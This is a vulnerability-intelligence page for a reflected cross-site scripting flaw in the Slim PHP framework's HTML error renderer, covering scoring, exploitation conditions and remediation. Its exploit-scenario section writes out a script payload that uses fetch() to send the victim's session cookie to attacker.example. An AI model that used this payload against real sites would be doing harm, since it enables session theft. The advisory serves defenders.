Skip to main content

Slim PHP Framework CVE-2026-48157

| EUVDEUVD-2026-37008 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-15 GitHub_M GHSA-53h4-8rc4-f539
6.1
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Slim app passing user input to HttpException setters
  2. Delivery
    Craft URL embedding XSS payload in relevant parameter
  3. Exploit
    Deliver link to victim via phishing or redirect
  4. Execution
    Victim's browser loads error page with unescaped payload
  5. Persist
    Injected script executes in victim browser context
  6. Impact
    Session cookies or credentials exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target Slim application contains developer-written code that explicitly calls HttpException::setTitle() and/or setDescription() with untrusted, request-derived data (URL parameters, form fields, headers, etc.) as its argument. Built-in exceptions (HttpNotFoundException, HttpBadRequestException, etc.) use static plain-text defaults and are not vulnerable. The error must be rendered as HTML (i.e., the client receives an HTML error page, not a JSON or plain-text response). Victim interaction is required - the target user must load the attacker-crafted URL in a browser. Per CVSS PR:N, no attacker authentication is required. Key limiting factors: (1) the application must contain the specific insecure coding pattern of feeding user input to these setters; (2) the vulnerability is absent in default/vanilla Slim installations; (3) a victim must be directed to the malicious URL.

Impact

The CVSS 6.1 score (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) accurately reflects classic reflected XSS: network-reachable, low attacker complexity, no authentication, but requiring victim interaction and yielding only limited confidentiality and integrity impact. The S:C (Scope Changed) metric correctly captures the browser-context escape. The real-world risk is substantially constrained compared to a generic CVSS 6.1: exploitation depends entirely on application developers having written code that passes untrusted input into setTitle() or setDescription() - a vanilla Slim deployment is confirmed non-exploitable. No EPSS score was provided in the intelligence data, so exploitation probability cannot be quantified. KEV status is absent and no POC code was identified, indicating no confirmed active exploitation at time of analysis. This is a medium-priority finding for teams auditing Slim applications for the specific coding pattern, not a broad ecosystem emergency.

Exploit ScenarioDerived

An attacker identifies a Slim application that echoes a user-supplied search query into an error message via setTitle(), e.g., 'No results for {$_GET["q"]}'. They craft a URL with q=<script>fetch('https://attacker.example/steal?c='+document.cookie)</script> and distribute it via phishing. When a victim clicks the link, the Slim app raises an HttpException with the unescaped payload as the title, and the browser executes the injected script, exfiltrating the victim's session cookie to the attacker's server.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 15, 2026

Reflected XSS in Slim PHP framework (versions 4.4.0 through 4.15.1) allows attackers to inject arbitrary HTML and JavaScript into HTML error pages when application code passes request-derived data into HttpException::setTitle() or setDescription(). The payload executes in a victim's browser upon rendering the crafted error page, and critically this occurs even when displayErrorDetails is set to false, since the unescaped values are rendered on a separate code path. No public exploit code or CISA KEV listing has been identified; exploitation is scoped to applications that explicitly feed untrusted input into these specific exception setter methods.

RemediationAI

Upgrade to Slim 4.15.2, which applies HTML entity escaping in HtmlErrorRenderer to prevent XSS (confirmed by release notes at https://github.com/slimphp/Slim/releases/tag/4.15.2 and advisory GHSA-53h4-8rc4-f539). If an immediate upgrade is not feasible, audit all calls to HttpException::setTitle() and setDescription() and replace any request-derived values with static, plain-text strings - this eliminates the injection point without a code update. As an additional defensive layer, register a custom error renderer implementing ErrorRendererInterface (or subclass HtmlErrorRenderer with explicit htmlspecialchars() escaping applied to title and description) for the HTML media type in Slim's container configuration. Note that the workarounds require code changes and code review; neither is a drop-in configuration toggle.

Affected VersionsENISA

slim 4.4.0, < 4.15.2

Affected Packages

composer slim/slim fix: 4.15.2
euvd slim_4_4_0 fix: 4.15.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Slim's HtmlErrorRenderer constructs and returns HTML error pages using the title and description properties of HttpException, set via setTitle() and setDescription(). Prior to 4.15.2, these values were interpolated directly into HTML output without HTML entity escaping, constituting CWE-79 (Improper Neutralization of Input During Web Page Generation). The fix, confirmed by the 4.15.2 release notes (GHSA-53h4-8rc4-f539), applies HTML entity escaping within HtmlErrorRenderer. The vulnerability is not present in built-in exception subclasses (HttpNotFoundException, HttpBadRequestException, etc.) because those ship with static plain-text defaults - only developer-added code that calls the setters with dynamic, request-derived values creates the exploitable condition. CPE cpe:2.3:a:slimphp:slim:*:*:*:*:*:*:*:* covers the affected product family.

Know when Slim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Network-reachable XSS requiring victim browser interaction; PR:N as attacker needs no credentials; S:C for browser-context escape; C/I:L for limited session/content impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jun 15, 2026 - 23:02 EUVD

DescriptionCVE.org

Slim is a PHP micro framework that enables users to write simple web applications and APIs. In versions 4.4.0 through 4.15, if an application uses HttpException::setTitle() and/or setDescription() to include untrusted/request-derived data in the error title or description (e.g. "No products found matching '{$query}'."), an attacker could inject arbitrary HTML/JavaScript that executes in the victim's browser when they encounter an HTML error page generated by Slim. The vulnerability is present even with displayErrorDetails = false as the unescaped title and description are rendered on this error path. Built-in exceptions (HttpNotFoundException, HttpBadRequestException, etc.) ship plain-text defaults, so a vanilla Slim app with no user code is not exploitable. Only applications that feed untrusted data into setTitle() and/or setDescription() are affected. The issue has been fixed in 4.15.2. If developers are unable to immediately update their applications, they can work around this issue by avoiding passing untrusted/request-derived data into HttpException::setTitle() and setDescription() and using static, plain-text error copy instead. They should also register a custom error renderer (an ErrorRendererInterface implementation, or a subclass of HtmlErrorRenderer that escapes the title and description) for the HTML media type.

Threat Intelligence Overview

EPSS Score
0.3%
Top 83% exploitable
Threat Intel
1
1 sources
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy